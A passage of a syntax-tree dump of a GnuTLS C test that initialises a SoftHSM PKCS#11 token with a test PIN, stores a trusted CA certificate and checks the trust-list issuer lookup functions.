"pin_max" ()) ")" (compound_statement) "{\n if (attempt == 0) {\n strcpy(pin, PIN);\n return 0;\n }\n return -1;\n}" ({) "{" (if_statement) "if (attempt == 0) {\n strcpy(pin, PIN);\n return 0;\n }" (if) "if" (parenthesized_expression) "(attempt == 0)" (() "(" (binary_expression) "attempt == 0" (identifier) "attempt" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n strcpy(pin, PIN);\n return 0;\n }" ({) "{" (expression_statement) "strcpy(pin, PIN);" (call_expression) "strcpy(pin, PIN)" (identifier) "strcpy" (argument_list) "(pin, PIN)" (() "(" (identifier) "pin" (,) "," (identifier) "PIN" ()) ")" (;) ";" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}" (return_statement) "return -1;" (return) "return" (number_literal) "-1" (;) ";" (}) "}" (function_definition) "void doit(void)\n{\n char buf[128];\n int exit_val = 0;\n int ret;\n unsigned j;\n const char *lib, *bin;\n gnutls_x509_crt_t issuer = NULL;\n gnutls_x509_trust_list_t tl;\n gnutls_x509_crt_t certs[MAX_CHAIN];\n gnutls_x509_crt_t ca;\n gnutls_datum_t tmp;\n int idx = -1;\n\n /* The overloading of time() seems to work in linux (ELF?)\n * systems only. Disable it on windows.\n */\n#ifdef _WIN32\n exit(77);\n#endif\n for (j=0;;j++) {\n if (chains[j].name == NULL)\n break;\n if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) {\n idx = j;\n break;\n }\n }\n\n if (idx == -1) {\n fail("could not find proper chain\n");\n exit(1);\n }\n\n bin = softhsm_bin();\n\n lib = softhsm_lib();\n\n ret = global_init();\n if (ret != 0) {\n fail("%d: %s\n", ret, gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_pkcs11_set_pin_function(pin_func, NULL);\n gnutls_global_set_time_function(mytime);\n gnutls_global_set_log_function(tls_log_func);\n if (debug)\n gnutls_global_set_log_level(4711);\n\n /* write softhsm.config */\n\n set_softhsm_conf(CONFIG);\n snprintf(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin);\n system(buf);\n\n ret = gnutls_pkcs11_add_provider(lib, "trusted");\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n for (j = 0; chains[idx].chain[j]; j++) {\n if (debug > 2)\n printf("\tAdding certificate %d...",\n (int) j);\n\n ret = gnutls_x509_crt_init(&certs[j]);\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) chains[idx].chain[j];\n tmp.size = strlen(chains[idx].chain[j]);\n\n ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM);\n if (debug > 2)\n printf("done\n");\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp);\n if (debug)\n printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);\n gnutls_free(tmp.data);\n }\n\n if (debug > 2)\n printf("\tAdding CA certificate...");\n\n ret = gnutls_x509_crt_init(&ca);\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) *chains[idx].ca;\n tmp.size = strlen(*chains[idx].ca);\n\n ret =\n gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM);\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n if (debug > 2)\n printf("done\n");\n\n gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp);\n if (debug)\n printf("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data);\n gnutls_free(tmp.data);\n\n if (debug)\n printf("\tVerifying...");\n\n /* initialize softhsm token */\n ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test");\n if (ret < 0) {\n fail("gnutls_pkcs11_token_init\n");\n exit(1);\n }\n\n /* write CA certificate to softhsm */\n ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO);\n if (ret < 0) {\n fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_trust_list_init(&tl, 0);\n\n ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0);\n if (ret < 0) {\n fail("gnutls_x509_trust_list_add_trust_file\n");\n exit(1);\n }\n\n /* extract the issuer of the certificate */\n issuer = NULL;\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }\n gnutls_x509_crt_deinit(issuer);\n\n /* extract the issuer of the certificate using the non-thread-safe approach */\n issuer = NULL;\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }\n\n /* extract (again) the issuer of the certificate - check for any leaks */\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n\n /* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */\n ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp);\n if (ret < 0) {\n fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret));\n exit(1);\n }\n \n ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0);\n gnutls_free(tmp.data);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n");\n exit(1);\n }\n gnutls_x509_crt_deinit(issuer);\n\n if (debug)\n printf("\tCleanup...");\n\n gnutls_x509_trust_list_deinit(tl, 0);\n gnutls_x509_crt_deinit(ca);\n for (j = 0; chains[idx].chain[j]; j++)\n gnutls_x509_crt_deinit(certs[j]);\n if (debug)\n printf("done\n\n\n");\n\n gnutls_global_deinit();\n\n if (debug)\n printf("Exit status...%d\n", exit_val);\n remove(CONFIG);\n\n exit(exit_val);\n}" (primitive_type) "void" (function_declarator) "doit(void)" (identifier) "doit" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{\n char buf[128];\n int exit_val = 0;\n int ret;\n unsigned j;\n const char *lib, *bin;\n gnutls_x509_crt_t issuer = NULL;\n gnutls_x509_trust_list_t tl;\n gnutls_x509_crt_t certs[MAX_CHAIN];\n gnutls_x509_crt_t ca;\n gnutls_datum_t tmp;\n int idx = -1;\n\n /* The overloading of time() seems to work in linux (ELF?)\n * systems only. Disable it on windows.\n */\n#ifdef _WIN32\n exit(77);\n#endif\n for (j=0;;j++) {\n if (chains[j].name == NULL)\n break;\n if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) {\n idx = j;\n break;\n }\n }\n\n if (idx == -1) {\n fail("could not find proper chain\n");\n exit(1);\n }\n\n bin = softhsm_bin();\n\n lib = softhsm_lib();\n\n ret = global_init();\n if (ret != 0) {\n fail("%d: %s\n", ret, gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_pkcs11_set_pin_function(pin_func, NULL);\n gnutls_global_set_time_function(mytime);\n gnutls_global_set_log_function(tls_log_func);\n if (debug)\n gnutls_global_set_log_level(4711);\n\n /* write softhsm.config */\n\n set_softhsm_conf(CONFIG);\n snprintf(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin);\n system(buf);\n\n ret = gnutls_pkcs11_add_provider(lib, "trusted");\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n for (j = 0; chains[idx].chain[j]; j++) {\n if (debug > 2)\n printf("\tAdding certificate %d...",\n (int) j);\n\n ret = gnutls_x509_crt_init(&certs[j]);\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) chains[idx].chain[j];\n tmp.size = strlen(chains[idx].chain[j]);\n\n ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM);\n if (debug > 2)\n printf("done\n");\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp);\n if (debug)\n printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);\n gnutls_free(tmp.data);\n }\n\n if (debug > 2)\n printf("\tAdding CA certificate...");\n\n ret = gnutls_x509_crt_init(&ca);\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) *chains[idx].ca;\n tmp.size = strlen(*chains[idx].ca);\n\n ret =\n gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM);\n if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }\n\n if (debug > 2)\n printf("done\n");\n\n gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp);\n if (debug)\n printf("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data);\n gnutls_free(tmp.data);\n\n if (debug)\n printf("\tVerifying...");\n\n /* initialize softhsm token */\n ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test");\n if (ret < 0) {\n fail("gnutls_pkcs11_token_init\n");\n exit(1);\n }\n\n /* write CA certificate to softhsm */\n ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO);\n if (ret < 0) {\n fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_trust_list_init(&tl, 0);\n\n ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0);\n if (ret < 0) {\n fail("gnutls_x509_trust_list_add_trust_file\n");\n exit(1);\n }\n\n /* extract the issuer of the certificate */\n issuer = NULL;\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }\n gnutls_x509_crt_deinit(issuer);\n\n /* extract the issuer of the certificate using the non-thread-safe approach */\n issuer = NULL;\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }\n\n /* extract (again) the issuer of the certificate - check for any leaks */\n ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n\n /* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */\n ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp);\n if (ret < 0) {\n fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret));\n exit(1);\n }\n \n ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0);\n gnutls_free(tmp.data);\n if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }\n if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer_by_dn return value\n");\n exit(1);\n }\n gnutls_x509_crt_deinit(issuer);\n\n if (debug)\n printf("\tCleanup...");\n\n gnutls_x509_trust_list_deinit(tl, 0);\n gnutls_x509_crt_deinit(ca);\n for (j = 0; chains[idx].chain[j]; j++)\n gnutls_x509_crt_deinit(certs[j]);\n if (debug)\n printf("done\n\n\n");\n\n gnutls_global_deinit();\n\n if (debug)\n printf("Exit status...%d\n", exit_val);\n remove(CONFIG);\n\n exit(exit_val);\n}" ({) "{" (declaration) "char buf[128];" (primitive_type) "char" (array_declarator) "buf[128]" (identifier) "buf" ([) "[" (number_literal) "128" (]) "]" (;) ";" (declaration) "int exit_val = 0;" (primitive_type) "int" (init_declarator) "exit_val = 0" (identifier) "exit_val" (=) "=" (number_literal) "0" (;) ";" (declaration) "int ret;" (primitive_type) "int" (identifier) "ret" (;) ";" (declaration) "unsigned j;" (sized_type_specifier) "unsigned" (unsigned) "unsigned" (identifier) "j" (;) ";" (declaration) "const char *lib, *bin;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*lib" (*) "*" (identifier) "lib" (,) "," (pointer_declarator) "*bin" (*) "*" (identifier) "bin" (;) ";" (declaration) "gnutls_x509_crt_t issuer = NULL;" (type_identifier) "gnutls_x509_crt_t" (init_declarator) "issuer = NULL" (identifier) "issuer" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (declaration) "gnutls_x509_trust_list_t tl;" (type_identifier) "gnutls_x509_trust_list_t" (identifier) "tl" (;) ";" (declaration) "gnutls_x509_crt_t certs[MAX_CHAIN];" (type_identifier) "gnutls_x509_crt_t" (array_declarator) "certs[MAX_CHAIN]" (identifier) "certs" ([) "[" (identifier) "MAX_CHAIN" (]) "]" (;) ";" (declaration) "gnutls_x509_crt_t ca;" (type_identifier) "gnutls_x509_crt_t" (identifier) "ca" (;) ";" (declaration) "gnutls_datum_t tmp;" (type_identifier) "gnutls_datum_t" (identifier) "tmp" (;) ";" (declaration) "int idx = -1;" (primitive_type) "int" (init_declarator) "idx = -1" (identifier) "idx" (=) "=" (number_literal) "-1" (;) ";" (comment) "/* The overloading of time() seems to work in linux (ELF?)\n * systems only. Disable it on windows.\n */" (preproc_ifdef) "#ifdef _WIN32\n exit(77);\n#endif" (#ifdef) "#ifdef" (identifier) "_WIN32" (expression_statement) "exit(77);" (call_expression) "exit(77)" (identifier) "exit" (argument_list) "(77)" (() "(" (number_literal) "77" ()) ")" (;) ";" (#endif) "#endif" (for_statement) "for (j=0;;j++) {\n if (chains[j].name == NULL)\n break;\n if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) {\n idx = j;\n break;\n }\n }" (for) "for" (() "(" (assignment_expression) "j=0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n if (chains[j].name == NULL)\n break;\n if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) {\n idx = j;\n break;\n }\n }" ({) "{" (if_statement) "if (chains[j].name == NULL)\n break;" (if) "if" (parenthesized_expression) "(chains[j].name == NULL)" (() "(" (binary_expression) "chains[j].name == NULL" (field_expression) "chains[j].name" (subscript_expression) "chains[j]" (identifier) "chains" ([) "[" (identifier) "j" (]) "]" (.) "." (field_identifier) "name" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (break_statement) "break;" (break) "break" (;) ";" (if_statement) "if (strcmp(chains[j].name, "verisign.com v1 ok") == 0) {\n idx = j;\n break;\n }" (if) "if" (parenthesized_expression) "(strcmp(chains[j].name, "verisign.com v1 ok") == 0)" (() "(" (binary_expression) "strcmp(chains[j].name, "verisign.com v1 ok") == 0" (call_expression) "strcmp(chains[j].name, "verisign.com v1 ok")" (identifier) "strcmp" (argument_list) "(chains[j].name, "verisign.com v1 ok")" (() "(" (field_expression) "chains[j].name" (subscript_expression) "chains[j]" (identifier) "chains" ([) "[" (identifier) "j" (]) "]" (.) "." (field_identifier) "name" (,) "," (string_literal) ""verisign.com v1 ok"" (") """ (string_content) "verisign.com v1 ok" (") """ ()) ")" (==) "==" (number_literal) "0" ()) ")" (compound_statement) "{\n idx = j;\n break;\n }" ({) "{" (expression_statement) "idx = j;" (assignment_expression) "idx = j" (identifier) "idx" (=) "=" (identifier) "j" (;) ";" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (if_statement) "if (idx == -1) {\n fail("could not find proper chain\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(idx == -1)" (() "(" (binary_expression) "idx == -1" (identifier) "idx" (==) "==" (number_literal) "-1" ()) ")" (compound_statement) "{\n fail("could not find proper chain\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("could not find proper chain\n");" (call_expression) "fail("could not find proper chain\n")" (identifier) "fail" (argument_list) "("could not find proper chain\n")" (() "(" (string_literal) ""could not find proper chain\n"" (") """ (string_content) "could not find proper chain" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "bin = softhsm_bin();" (assignment_expression) "bin = softhsm_bin()" (identifier) "bin" (=) "=" (call_expression) "softhsm_bin()" (identifier) "softhsm_bin" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "lib = softhsm_lib();" (assignment_expression) "lib = softhsm_lib()" (identifier) "lib" (=) "=" (call_expression) "softhsm_lib()" (identifier) "softhsm_lib" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "ret = global_init();" (assignment_expression) "ret = global_init()" (identifier) "ret" (=) "=" (call_expression) "global_init()" (identifier) "global_init" (argument_list) "()" (() "(" ()) ")" (;) ";" (if_statement) "if (ret != 0) {\n fail("%d: %s\n", ret, gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret != 0)" (() "(" (binary_expression) "ret != 0" (identifier) "ret" (!=) "!=" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("%d: %s\n", ret, gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fail("%d: %s\n", ret, gnutls_strerror(ret));" (call_expression) "fail("%d: %s\n", ret, gnutls_strerror(ret))" (identifier) "fail" (argument_list) "("%d: %s\n", ret, gnutls_strerror(ret))" (() "(" (string_literal) ""%d: %s\n"" (") """ (string_content) "%d: %s" (escape_sequence) "\n" (") """ (,) "," (identifier) "ret" (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "gnutls_pkcs11_set_pin_function(pin_func, NULL);" (call_expression) "gnutls_pkcs11_set_pin_function(pin_func, NULL)" (identifier) "gnutls_pkcs11_set_pin_function" (argument_list) "(pin_func, NULL)" (() "(" (identifier) "pin_func" (,) "," (null) "NULL" (NULL) "NULL" ()) ")" (;) ";" (expression_statement) "gnutls_global_set_time_function(mytime);" (call_expression) "gnutls_global_set_time_function(mytime)" (identifier) "gnutls_global_set_time_function" (argument_list) "(mytime)" (() "(" (identifier) "mytime" ()) ")" (;) ";" (expression_statement) "gnutls_global_set_log_function(tls_log_func);" (call_expression) "gnutls_global_set_log_function(tls_log_func)" (identifier) "gnutls_global_set_log_function" (argument_list) "(tls_log_func)" (() "(" (identifier) "tls_log_func" ()) ")" (;) ";" (if_statement) "if (debug)\n gnutls_global_set_log_level(4711);" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "gnutls_global_set_log_level(4711);" (call_expression) "gnutls_global_set_log_level(4711)" (identifier) "gnutls_global_set_log_level" (argument_list) "(4711)" (() "(" (number_literal) "4711" ()) ")" (;) ";" (comment) "/* write softhsm.config */" (expression_statement) "set_softhsm_conf(CONFIG);" (call_expression) "set_softhsm_conf(CONFIG)" (identifier) "set_softhsm_conf" (argument_list) "(CONFIG)" (() "(" (identifier) "CONFIG" ()) ")" (;) ";" (expression_statement) "snprintf(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin);" (call_expression) "snprintf(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin)" (identifier) "snprintf" (argument_list) "(buf, sizeof(buf), "%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN, bin)" (() "(" (identifier) "buf" (,) "," (sizeof_expression) "sizeof(buf)" (sizeof) "sizeof" (parenthesized_expression) "(buf)" (() "(" (identifier) "buf" ()) ")" (,) "," (concatenated_string) ""%s --init-token --slot 0 --label test --so-pin "PIN" --pin "PIN" (string_literal) ""%s --init-token --slot 0 --label test --so-pin "" (") """ (string_content) "%s --init-token --slot 0 --label test --so-pin " (") """ (identifier) "PIN" (string_literal) "" --pin "" (") """ (string_content) " --pin " (") """ (identifier) "PIN" (,) "," (identifier) "bin" ()) ")" (;) ";" (expression_statement) "system(buf);" (call_expression) "system(buf)" (identifier) "system" (argument_list) "(buf)" (() "(" (identifier) "buf" ()) ")" (;) ";" (expression_statement) "ret = gnutls_pkcs11_add_provider(lib, "trusted");" (assignment_expression) "ret = gnutls_pkcs11_add_provider(lib, "trusted")" (identifier) "ret" (=) "=" (call_expression) "gnutls_pkcs11_add_provider(lib, "trusted")" (identifier) "gnutls_pkcs11_add_provider" (argument_list) "(lib, "trusted")" (() "(" (identifier) "lib" (,) "," (string_literal) ""trusted"" (") """ (string_content) "trusted" (") """ ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));" (call_expression) "fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret))" (identifier) "fprintf" (argument_list) "(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret))" (() "(" (identifier) "stderr" (,) "," (string_literal) ""gnutls_x509_crt_init: %s\n"" (") """ (string_content) "gnutls_x509_crt_init: %s" (escape_sequence) "\n" (") """ (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (for_statement) "for (j = 0; chains[idx].chain[j]; j++) {\n if (debug > 2)\n printf("\tAdding certificate %d...",\n (int) j);\n\n ret = gnutls_x509_crt_init(&certs[j]);\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) chains[idx].chain[j];\n tmp.size = strlen(chains[idx].chain[j]);\n\n ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM);\n if (debug > 2)\n printf("done\n");\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp);\n if (debug)\n printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);\n gnutls_free(tmp.data);\n }" (for) "for" (() "(" (assignment_expression) "j = 0" (identifier) "j" (=) "=" (number_literal) "0" (;) ";" (subscript_expression) "chains[idx].chain[j]" (field_expression) "chains[idx].chain" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "chain" ([) "[" (identifier) "j" (]) "]" (;) ";" (update_expression) "j++" (identifier) "j" (++) "++" ()) ")" (compound_statement) "{\n if (debug > 2)\n printf("\tAdding certificate %d...",\n (int) j);\n\n ret = gnutls_x509_crt_init(&certs[j]);\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n tmp.data = (unsigned char *) chains[idx].chain[j];\n tmp.size = strlen(chains[idx].chain[j]);\n\n ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM);\n if (debug > 2)\n printf("done\n");\n if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }\n\n gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp);\n if (debug)\n printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);\n gnutls_free(tmp.data);\n }" ({) "{" (if_statement) "if (debug > 2)\n printf("\tAdding certificate %d...",\n (int) j);" (if) "if" (parenthesized_expression) "(debug > 2)" (() "(" (binary_expression) "debug > 2" (identifier) "debug" (>) ">" (number_literal) "2" ()) ")" (expression_statement) "printf("\tAdding certificate %d...",\n (int) j);" (call_expression) "printf("\tAdding certificate %d...",\n (int) j)" (identifier) "printf" (argument_list) "("\tAdding certificate %d...",\n (int) j)" (() "(" (string_literal) ""\tAdding certificate %d..."" (") """ (escape_sequence) "\t" (string_content) "Adding certificate %d..." (") """ (,) "," (cast_expression) "(int) j" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" (identifier) "j" ()) ")" (;) ";" (expression_statement) "ret = gnutls_x509_crt_init(&certs[j]);" (assignment_expression) "ret = gnutls_x509_crt_init(&certs[j])" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_crt_init(&certs[j])" (identifier) "gnutls_x509_crt_init" (argument_list) "(&certs[j])" (() "(" (pointer_expression) "&certs[j]" (&) "&" (subscript_expression) "certs[j]" (identifier) "certs" ([) "[" (identifier) "j" (]) "]" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret));" (call_expression) "fprintf(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret))" (identifier) "fprintf" (argument_list) "(stderr,\n "gnutls_x509_crt_init[%d,%d]: %s\n",\n (int) 3, (int) j,\n gnutls_strerror(ret))" (() "(" (identifier) "stderr" (,) "," (string_literal) ""gnutls_x509_crt_init[%d,%d]: %s\n"" (") """ (string_content) "gnutls_x509_crt_init[%d,%d]: %s" (escape_sequence) "\n" (") """ (,) "," (cast_expression) "(int) 3" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" (number_literal) "3" (,) "," (cast_expression) "(int) j" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" (identifier) "j" (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "tmp.data = (unsigned char *) chains[idx].chain[j];" (assignment_expression) "tmp.data = (unsigned char *) chains[idx].chain[j]" (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" (=) "=" (cast_expression) "(unsigned char *) chains[idx].chain[j]" (() "(" (type_descriptor) "unsigned char *" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (subscript_expression) "chains[idx].chain[j]" (field_expression) "chains[idx].chain" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "chain" ([) 